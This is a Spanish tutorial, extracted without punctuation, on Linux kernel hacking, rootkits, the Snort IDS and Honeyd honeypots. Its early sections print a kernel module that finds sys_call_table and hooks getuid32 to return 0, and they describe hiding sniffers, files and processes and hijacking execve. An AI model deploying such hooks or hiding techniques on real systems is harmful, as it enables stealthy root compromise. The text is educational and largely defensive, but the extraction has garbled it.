Si bien acabo de decir que el meacutetodo anterior estaacute muy probado yo he utilizado en kernels de la serie 26 (269 concretamente y otros) un mecanismo auacuten maacutes personalizado tanto que NO he podido probarlo al 100 y aunque el gancho (hook) siempre se ha realizado con eacutexito por alguacuten motivo en alguna maacutequina (ajena) se ha vuelto inestable el sistema provocando volcados de memoria y otros problemas con el stack que ponian el kernel en una especie de bucle aunque esto en los peores casos

No obstante el coacutedigo algo depurado ha funcionado perfectamente en mi ordenador AMD Athlon XP 1600+ (32bits) con Kernel de la serie 26 sin problema alguno

La idea del LKM va un poco maacutes allaacute de lo que se pretende en este trabajo puesto que habriacutea que explicar algunas otras cosas que se salen algo de la temaacutetica el caso es que si hechamos un vistazo a ltasmprocessorhgt donde se encuentra una estructura llamada cpuinfo_x86 con un montoacuten de informacioacuten muy interesante como el resto del fichero la verdad donde hay varias menciones a loops_per_jiffy y boot_cpu_data que son las uacutenicas cosas de eacuteste coacutedigo no habreacute tratado hasta ahora

Baacutesicamente lo que hacemos es encontrar SYS_exit y a partir de ahiacute la Sys_call_table el coacutedigo aunque no esta mal no es perfecto ni mucho menos

usrsrclinuxincludeasm $ vim processorh

Kernel hacks y seguridad JMP

1 include ltlinuxmodulehgt 2 include ltlinuxkernelhgt 3 include ltlinuxinithgt 4 include ltasmtypeshgt 5 include ltasmprocessorhgt 6 include ltasmunistdhgt 7 int sys_call_table 8 uid_t ( restaura)(void) 9 uid_t cero_uid(void) 10 printk([] probando h00kn) 11 return 0 12 13 static int __init 14 carga (void) 15 16 unsigned long pointr 17 unsigned long sys 18 extern int loops_per_jiffy 19 sys_call_table = NULL 20 printk (KERN_ALERT Buscando Sys_call_table n) 21 printk (gtgt Localizando __NR_exit) 22 buscamos la sys_call_table[] ) 23 for (pointr = (unsigned long) amploops_per_jiffy 24 pointr lt (unsigned long) ampboot_cpu_data 25 pointr += sizeof (void )) 26 sys = (unsigned long ) pointr 27 if (sys[1] == (unsigned long) __NR_exit) 28 sys_call_table = (void ) sys 29 sys_call_table -= 304 calculado ) 30 printk ( OKn__NR_exit localizado en 0xpn 31 (void ) sys_call_table[__NR_exit]) 32 break 33 34 35 ya la tenemos ) o no ( 36 if (sys_call_table) 37 printk (KERN_ALERT 38 n[ERR] No pudo ser rmmod modulon) 39 return 0 40 41 printk (KERN_ALERT 42 gtgt Sys_call_table[] localizada -gt 0xpn 43 sys_call_table) 44 restaura=sys_call_table[__NR_getuid32] 45 sys_call_table[__NR_getuid32]=cero_uid 46 return 0 47 48 static void __exit 49 descarga (void) 50 printk(Descargado) 51 sys_call_table[__NR_getuid32]=restaura 52 53 module_init (carga) 54 module_exit (descarga) 55 MODULE_LICENSE(GPL) 56 MODULE_AUTHOR(Jose Miguel Porcel G) 57 MODULE_DESCRIPTION(Alternativa para encontrar la

Sys_call_table[])

Kernel hacks y seguridad JMP

Imagen conceptual del proceso

Kernel hacks y seguridad JMP

9- Hooks y hacks de intereacutes (algunas ideas)

Algunas cosas que podemos hacer en el Kernel

Ocultar un sniffer

Resulta que podemos cambiar los flags de una tarjeta de red y ocultar ese PROMISC delatador mediante la syscall SYS_ioctl se pueden hacer otras muchas cosas con eso si pensamos en lo que hace ioctl() que es controlar dispositivos

Ocultar ficheros y procesos

iquestQueacute hacemos al abrir un fichero Usar getdents() lo mismo para mirar los procesos mapeados en proc y por tanto iquestQueacute podemos hacer nosotros para manipular ese proceso efectivamente usar SYS_getdents basta con leer la documentacioacuten de las manual pages de getdents para saber como funciona )

Manipular execve()

Lo que hace execve es baacutesicamente ejecutar otro programa pero hay una pega y es que en nuestro LKM execve necesita hacer una serie de operaciones previas como usar la pila (stack) con los paraacutemetros Pero el Kernel y nosotros estamos preparados para ese problemilla si miramos en unistdh vemos que hay una serie de syscalls nulas sin ir maacutes lejos la 222 no estaacute puesto que es una sys_ni_syscall y pide a gritos que la usemos por lo que movemos la SYS_execve original a esa posicioacuten nula ( u otra de tu conveniencia) para llamarla desde otra funcioacuten nuestra pero claro iquestcoacutemo llamamos a execve Si lo hacemos directamente la cosa no va a funcionar por lo que comentaba y si hacemos el hook eso que es imprescindible que suceda no va a pasar de manera que necesitamos una buena manera de llamar a execve y que mejor que mirar como lo hace el Kernel iquestno

usrsrclinuxincludeasm $ vim unistdh

En unistdh ndash evitando tratar nada sobre ensamblador ndash encontramos que execve() requiere tres argumentos de manera que necesitamos la macrointrusioacuten (expandida por el preprocesador) que permitiraacute llamar a la funcioacuten con tres paraacutemetros en el caso que nos ocupa execve() es generada por _syscall3 que inicializa los registros del preprocesador y desencadena la Int 0x80 poniendo en la variable global errno el coacutedigo de error tiacutepicamente -1 si hay eacutexito se vuelve a quien llamoacute

Nos basta entonces con rellenar esa macrointrusioacuten para interceptar execve() correctamente en el siguiente coacutedigo __NR_mi_execve sustituye a la __NR_execve original

Kernel hacks y seguridad JMP

inicio

int mi_execve(const char filen char const argv [] char const envp[])int errnolong __res __asm__ volatile (int $0x80 =a (__res)

0 (__NR_mi_execve)b ((long)(filen)) c ((long)(argv)) d ((long)(envp)))

__syscall_return(long__res)

final

Ese seriacutea el coacutedigo a usar para poder tratar con execve() desde el nuacutecleo con un LKM

10- Rootkits visioacuten general

Con lo que hemos ido viendo en este trabajo salta a la vista que tpodemos desarrollar aplicaciones maacutes que intersantes de cara a su uso en sistemas comprometidos una vez descubierta una vulnerabilidad en un sistema y tras el eacutexito en su explotacioacuten procedemos a obtener y asegurar un mayor control sobre el host

Los rootkits son hoy por hoy uno de los mecanismos maacutes sofisticados para conseguir ese objetivo Se trata de un kit de herramientas que permiten al atacante mantenere el control total sobre el sistema de forma continuada con los maacuteximos privilegios y siempre intentando hacerlo de forma indetectable para los administradores del sistema yo de la red

De los primeros rootkits en la historia de los sistemas ldquounix-likerdquo hay que destacar dos el rootkit de SunOS4 y el Linux Root Kit ldquolrk3rdquo (Diciembre 1996) Maacutes ejemplos seriacutean ldquoheroincrdquo y luego Knark como consecuencia de este nuevo tipo de teacutecnicas

Uno de los primeros textos al respecto distribuido en Internet fue ldquoHiding Out Under Unix rdquo por Black Tie Affair (Phrack vol3 issue 25 1989) Ni que decir tiene que el presente documento estaacute bastante maacutes avanzado que ese texto y va mucho maacutes allaacute

Tal y como se ha ido viendo en el presente trabajo y a medida que el Kernel se ha ido desarrollando el tema ha ido avanzando bastante y han surgido todo tipo de rootkits no solo para los sistemas Solaris Unix o Linux sino tambieacuten para FreeBSD y Windows entre otros

Los rootkits actuales no utilizan los mismos vectores de ataque sino que muchos se apoyan en otras teacutecnicas distintas a las contempladas por mi en este trabajo ademaacutes hay que comentar que la efectividad de un rootkit pasa tambieacuten por mantener su coacutedigo fuente oculto al uso puacuteblico a las empresas y los desarrolladores de soluciones para la seguridad

Kernel hacks y seguridad JMP

Ejemplo de un rootkit moderno ldquoAdore-ngrdquo

Adore-ng es un interesante (pero conocido) rootkit que puede funcionar en los kernels maacutes recientes sin problema alguno para intentar mantenerse oculto e indetectable utiliza una novedad respecto a muchos rootkits ya que no usa sys_call_table [] sino que se basa en la redireccioacuten a nivel de capa VFS de Linux ademaacutes tiene una utilidad para infectar moacutedulos cargados en el nuacutecleo Un interesante atiacuteculo por parte de ldquoStealthrdquo (junto con el grupo TESO son autores de Adore) es ldquoKernel Rootkit Experiencesrdquo donde habla de sus experiencias como autor de Adore y la situacioacuten en aquel momento de la investigacioacuten sobre nuevas teacutenicas entre otras cosas aunque no se trata de un texto extenso

Sus caracteriacutesticas ldquobaacutesicasrdquo vienen incluidas en el fichero FEATURES de mi descarga de Adoreshyng de Internet e indica ndash entre otras cosas- lo siguiente

Runs on kernel 24x UP and SMP systems

First test-versions successfully run on 260

File and directory hiding

Process hiding

Socket-hiding (no matter whether LISTENing CONNECTED etc)

Full-capability back door

Does not utilize sys_call_table but VFS layer

KISS principle to have as less things in there as possible but also being as much powerful as possible

Por otro lado el fichero README indica el proceso de instalacioacuten de Adore Tras su compilacioacuten y

Kernel hacks y seguridad JMP

carga en el sistema (requiere privilegios de root) podremos usar el cliente AVA para comunicarnos con la parte ldquoservidorardquo de Adore-ng aunque explicar el uso de este rootkit al detalle queda fuera de las pretensiones de este texto y en ninguacuten caso aporta nada de intereacutes adicional puesto que no es el objetivo hacer de script kiddie con Adore

La siguiente tabla introduce al famoso rootkit ldquoSucKITrdquo para mostrar algunos datos de intereacutes

Adore ~034 SucKIT Adore-ng gt=131

Interceptando el flujo de ejecucioacuten

Syscalltable Syscall handler VFS

Transferencia coacutedigo dentro del Kernel

LKM Acceso directo (raw shycrudo) a memoria

LKM

Incluye puerta trasera - Siacute -

Mecanismos de recarga - sbininit Herramienta para infeccioacuten LKMs

Tabla Comparativa de algunos rootkits

Medidas de proteccioacuten y deteccioacuten de rootkits

Aunque no es el objetivo del documento explicar las teacutecnicas de deteccioacuten de rootkits y puertas traseras de forma exhaustiva se comentan a continuacioacuten algunas utilidades praacutecticas para protegerse de este tipo de software en nuestros sistemas

Una de las maneras maacutes directas es chequear Systemmap con las direcciones de memoria de las syscalls actuales en principio deberian ser las mismas pero si un rootkit modifica la direccioacuten a la que apunta la syscall podremos notar que hay una diferencia cierto offset de la syscall original y la suplantada Existen varios programas en entorno de usuario que permiten hacer esto sin excesiva complicacioacuten

Aquiacute se muestra el inicio del fichero usrsrclinuxSystemmap

linux head Systemmap

00100000 A phys_startup_32c0100000 A _textc0100000 T startup_32c01000c6 t checkCPUtypec0100147 t is486c010014e t is386c0100199 t L6c010019b t check_x87c01001c2 t setup_idtc01001df t rp_sidt

Kernel hacks y seguridad JMP

Otros meacutetodos tiacutepicos

Checksums de ficheros importantes (tripwire aide etc)

Backup de las estructuras centrales del kernel (kstat)

LKMs anti-rootkit

Herramientas forenses (TCT)

Analisis de logs etc

Utilidades para la deteccioacuten (rkhunter chkrootkit)

Enlaces en Internet para la descarga de utilidades e informacioacuten sobre las herramientas

httpwwwchkrootkitorg

httpwwwrootkitorg

Conclusiones

Las aplicaciones que tiene hackear el Kernel son varias desde el punto de vista de la seguridad y es que lo mismo podemos demoler la seguridad de un sistema troyanizando absolutamente todo el sistema como dotar al entorno de habilidades especiales para controlar al miliacutemetro todo lo que sucede y poder hacer un seguimiento exhaustivo de las acciones de un atacante

Kernel hacks y seguridad JMP

Snort el cerdito valiente

SNORT es us sistema para la deteccioacuten de intrusos OpenSource que nos permite monitorear el traacutefico de nuestra red y detectar vulnerabilidades conocidas asiacute como todo tipo de ataques conocidos a nuestra red

Su instalacioacuten es relativamente sencilla y no supone una carga importante para el sistema por lo que se recomienda su uso como medida de seguridad adicional combinando SNORT con otros sistemas y un buen firewall restrictivo aumentamos considerablemente la seguridad en nuestra red y el seguimiento de posibles incidencias

Wreski y Christopher Pallack en Linuxsecuritycom

ldquo A Network Intrusion Detection System (NIDS) is a system that is responsible for detecting anamolous inappropriate or other data that may be considered unauthorized occuring on a network Unlike a firewall w hich is configured to allow or deny access to a particular service or host based on a set of rules If the traffic matches an acceptible pattern it is permitted regardless of what the packet contains However an NIDS captures and inspects all traffic re gardless of whether its permitted or not Based on the contents at either the IP or application level an alert is generated

Snort is a lightweight NIDS in that it is non-intrusive easily configured utilizes familiar methods for rule development and takes only a few minutes to install Snort currently includes the ability to detect more than 1100 potential vulnerabilities Keep in mind that Intrusion Detection devices work in conjunction with other security measures and are not a replacement for other good security practices ldquo

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Lo primero que tenemos que hacer es obtener una copia de Snort para nuestra distribucioacuten de Linux (ya que vamos a trabajar en esta plafatorma) por lo que tendremos que usar los mecanismos apropiados en nuestra distribucioacuten en mi caso particular

root emerge -pv snort

These are the packages that I would merge in order

Calculating dependencies done [ebuild R ] net-analyzersnort-243 -flexresp -inline +mysql -odbc shypostgres -prelude (-selinux) -sguil -snortsam +ssl 0 kB

Total size of downloads 0 kB

No obstante podemos obtener los paquetes y el coacutedigo fuente de la URL

httpwwwsnortorgdl

Una vez instalado Snort procederemos a su configuracioacuten tal y como iremos viendo antes de proceder a arrancar el servicio

2- Configuracioacuten baacutesica de Snort

Para empezar debemos buscar un fichero llamado ldquosnortconfrdquo que contiene la configuracioacuten de

Kernel hacks y seguridad JMP

Snort Dicho fichero se puede encontrar en

etcsnortsnortconf

pero puede que esteacute ubicado en otra localizacioacuten dependiendo de tu distribucioacuten en mi caso trabajo con Gentoo Linux asi que de ahora en adelante habraacute que tener este pequentildeo matiz en consideracioacuten para el futuro

Antes de empezar es aconsejable realizar una copia del fichero original es posible que ya se haya incluido dicha copia con el paquete de Snort no obstante es muy aconsejable hacerlo sino es el caso

El fichero trae comentarios detallados sobre la funcionalidad de las directivas de Snort por lo que en el presente documento solamente se trataraacute de forma general sin entrar en excesivos detalles sobre absolutamente todas las opciones que Snort trae con el objetivo de no alargar el documento de forma innecesaria

Tal y como nos indica el inicio del fichero son 5 los pasos a seguir en ese fichero

1 Establecer las variables para nuestra red

2 Configurar el preprocesador de Snort

3 Configurar los plugins de salida

4 Antildeadir directivas para la configuracioacuten en ejecucioacuten de Snort

5 Personalizar nuestro set de reglas para Snort

La figura anterior desglosa las partes en las que Snort se compone para llevar a cabo su tarea

Paso 1

Debemos indicar como estaacute montada nuestra red e identificarnos no es buena idea dejar esto con un valor ldquoanyrdquo o por defecto asiacute que lo modificamos como sea necesario

Kernel hacks y seguridad JMP

var HOME_NET 1921681124 o bien var HOME_NET $eth0_ADDRESS

Maacutes de lo mismo indicamos los hosts que forman nuestra red podemos hacerlo de varias manera y esta es la maacutes adecuada para redes locales medianas o grandes

var HOME_NET 1921681124

Ahora configuramos la red externa con el valor ldquocualquierardquo es un buen comienzo

var EXTERNAL_NET any

Indicamos la lista de servidores DNS SMTP etc de nuestra red si los hay

var DNS_SERVERS $HOME_NET

var SMTP_SERVERS $HOME_NET

[]

Ahora viene un paso importante que es definir los puertos con servicios que Snort debe vigilar y sobre los cuales se desean detectar ataques si tenemos un servidor web (tiacutepicamente Apache en el puerto 80) podemos hacer lo que se muestra en el ejemplo siguiente indicaacutendolo de manera continua (221024) o por puertos individuales (212253808080 ) Tambieacuten podemos incluir ficheros de reglas tal y como se muestra en los ejemplos dentro del fichero de configuracioacuten

var HTTP_PORTS 80 var BO-BACKDOOR 31337

var NO_SSH 22 include mis_directivasrules

Ahora podemos configurar ciertos aspectos del decodificador de Snort hecho esto podemos pasar a la configuracioacuten del motor de deteccioacuten Si andamos escasos de recursos en nuestra maacutequina es MUY recomendable usar

config detection search-method lowmem

Paso 2

Podemos habilitar soporte para defragmentacioacuten IP asiacute podremos detectar cierto tipo de ataques (DoS normalmente) que usen esa teacutecnica asiacute como evitar la evasioacuten de Snort mediante teacutecnicas maacutes o menos avanzadas

Por ejemplo preprocessor frag2

Kernel hacks y seguridad JMP

preprocessor frag3_global max_frags 65536 preprocessor frag3_engine policy first detect_anomalies

Stateful-inspection y Stream Reassembly si queremos detectar ataques de escaneo de puertos ocultos tiacutepicamente Syn-Stealth o de cualquier otro tipo asiacute como otros ataques baacutesicos esta es la seccioacuten a modificar Por ejemplo

preprocessor stream4 detect_scans

preprocessor stream4_reassemble

Performance Statistics tal y como dice el fichero aquiacute hay MUCHAS posibilidades que no se van a tratar aquiacute asiacute que lo mejor seraacute mirar el propio manual y documentacioacuten de Snort al respecto Lo dejaremos con los valores por defecto recomendados

A continuacioacuten hay algunas directivas sobre la inspeccioacuten de traacutefico de Back Oriffice (troyano miacutetico del grupo Cult Of Dead Cow) traacutefico RPC posible ARP spoof traacutefico Telnet etc A configurar a gusto del consumidor o bien dejamos los valores por defecto

Paso 3

Aquiacute podemos indicar cosas referentes al formato de salida de logs y demaacutes por ejemplo en el formato de ldquotcpdumprdquo en una base de datos (MySQL) salida por el Syslog de sistema

Paso 4

Aquiacute podemos leer el manual para obtener informacioacuten detallada de las posibilidades para personalizar un poco maacutes el funcionamiento de Snort es un tema que no vamos a cubrir ahora por lo que podemos dejara los valores por defecto recomendados

Paso 5

Ahora podemos antildeadir nuestras propias reglas para la deteccioacuten de actividad sospechosa u ataques a nuestra red Este tema lo tratamos a continuacioacuten por separado podemos obtener reglas pre-configuradas de Internet aparte de las que el mismo Snort trae consigo

3- Descargando nuevas reglas desde Internet

Gracias al esfuerzo de la comunidad por mantener las cosas en orden y seguras podemos ir actualizando nuestro set de reglas o descargar nuevas funcionalidades la primera web recomendada (aunque no la uacutenica al respecto) y a la que me voy a limitar es

httpwwwsnortorgrules

yo

Kernel hacks y seguridad JMP

httpwwwsnortorgpub-bindownloadscgi

Nos basta con descomprimir las reglas y ajustar la configuracioacuten de snortconf como sea necesario para apuntar a los ficheros de reglas que queremos habilitar

Por supuesto podemos crear nuestras propias reglas para saber como hacerlo es mejor - una vez maacutes ndash mirar la documentacioacuten actualizada de Snort al respecto

4- Prevencioacuten de intrusiones

Aquiacute se muestra Snort actuando como interceptor de sesiones se trata de examinar las sesiones establecidas por un atacante y sus intentos si algo resulta hostil se envia un paquete RST para terminar la conexioacuten de inmediato En el ejemplo tras el intento de atacar el servidor apache se da por terminada la sesioacuten expliacutecitamente gracias a Snort

Nota Tanto el firewall como Snort y el servidor web estaacuten conectados entre si el servidor apache accesible desde el exterior estaacute situado en la DMZ

Ahora Snort (con el parche inlineIPS aplicado) actuacutea como firewall-routerIPS estando como Gateway

httpsnort-inlinesourceforgenet (configure - -enable-inline)

Una vez detectado traacutefico hostil fruto de un ataque el traacutefico futuro del host atacante seraacute bloqueado

Kernel hacks y seguridad JMP

Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del traacutefico entrante del host origen del ataque Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red

httpwwwsnortsamnet

5- Usando ACID + SNORT

Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible viacutea web

Kernel hacks y seguridad JMP

La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten

httpacidlabsourceforgenet

La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo

Luego necesitaremos a ser posible

Apache soporte GD OpenSSL MySQL

PHP soporte GD OpenSSL MySQL

MySQL

ACID soporte adodb jpgraph phplot GD

Y claro esta Snort con soporte para MySQL

Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios

Ejemplo

$ mysql -u root -p

mysql gt CREATE DATABASE snort

mysql gt GRANT ALL ON snort to rootlocalhost identified by password

$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort

Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias

Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid

Alert DB connection parameters

Kernel hacks y seguridad JMP

- $alert_dbname MySQL database name of Snort alert DB

- $alert_host host on which the DB is stored

- $alert_port port on which to access the DB

- $alert_user login to the database with this user

- $alert_password password of the DB user

This information can be gleaned from the Snort database

output plugin configuration

$alert_dbname = snort_log

$alert_host = localhost

$alert_port =

$alert_user = root

$alert_password = mypassword

Archive DB connection parameters

$archive_dbname = snort_archive

$archive_host = localhost

$archive_port =

$archive_user = root

$archive_password = mypassword

Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort

Kernel hacks y seguridad JMP

Creacioacuten de reglas propias para Snort

Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones

CABECERA

Accioacuten de la regla alert

Protocolo tcp udp

Direccion IP origen $EXTERNAL_NET

Puerto IP origen any

Direccion IP destino $HOME_NET

Puerto IP destino any

Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)

OPCIONES

Mensaje ldquohola directivardquo

Opciones flags Aack 0 reference

Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)

El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort

Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg

Conclusiones

Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro

Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales

Kernel hacks y seguridad JMP

Honeypots

Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos

Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema

Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P

net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1

Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2

De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto

httpwwwhoneydorg

httpwwwcitiumicheduuprovoshoneyd

Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd

Config file for etcinitdhoneyd

Set Network addressHONEYD_NET=10001

HONEYD_IF=lo

HONEYD_LOG=varloghoneydlog

Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs

Kernel hacks y seguridad JMP

Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints

-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc

Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc

Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en

httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)

2- Creando sistemas virtuales

Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)

Su contenido se muestra a continuacioacuten

route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024

Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset

create default set default default tcp action block set default default udp action block set default default icmp action block

create router

Kernel hacks y seguridad JMP

set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl

bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42

De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto

Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc

3- Otros usos

Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot

Listado de programas yo utilidades para el anaacutelisis de redes y auditorias

acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace

Kernel hacks y seguridad JMP

dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli

Conclusiones

Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto

ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo

Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G

Kernel hacks y seguridad JMP

BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET

kernel hacks

Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo

Coacutedigo fuente de ldquoAdore-ngrdquo

Material de las conferencias del ldquoHackandalusrdquo hackmeeting

HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo

Kernelnewbies httpeskernelnewbiesorg

Internet Relay Chat en ircfreenodenet

Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo

httpwwwomninerdcom20051122articles43

Phrack ldquoHiding Out Under Unixrdquo

Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten

Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap

Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)

Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg

Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm

Snort NIDS

Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID

OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004

Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo

Honeyd

Documentacioacuten del propio programa y web oficial (honeydorg)

Kernel hacks y seguridad JMP

Page 9: Kernel, Hacks y Seguridad en Linux - Rootkits, IDS y Honeypots

Kernel hacks y seguridad JMP

31- Compilacioacuten de LKMs para la serie 24x

Tenemos un moacutedulo que compilar para ello usaremos gcc pero no de la misma forma con la que compilariacuteas un programa normal en C Para compilar el ejemplo anterior deberaacutes usar algo como lo siguiente asumiendo que usrsrclinux apunta al directorio con las fuentes del kernel

root gcc -c listado2c -I usrsrclinuxinclude

lo que nos genera un fichero listado2o (fichero objeto) listo para ser insertado

root insmod listado2o parm_entero=5

podriamos obtener informacioacuten sobre el moacutedulo mediante modinfo ltmoduloogt

Es posible que al intentar insertar el moacutedulo te haya dicho algo asiacute como que no encuentra la versioacuten del Kernel o que la versioacuten del Kernel para la que fue compilado el LKM no coinciden se puede solucionar esto editando usrsrclinuxincludelinuxversionh y adaptarlo para que sea la misma versioacuten que la indicada por uname -r es una medida para salir del paso pero funcionaraacute

Explicacioacuten

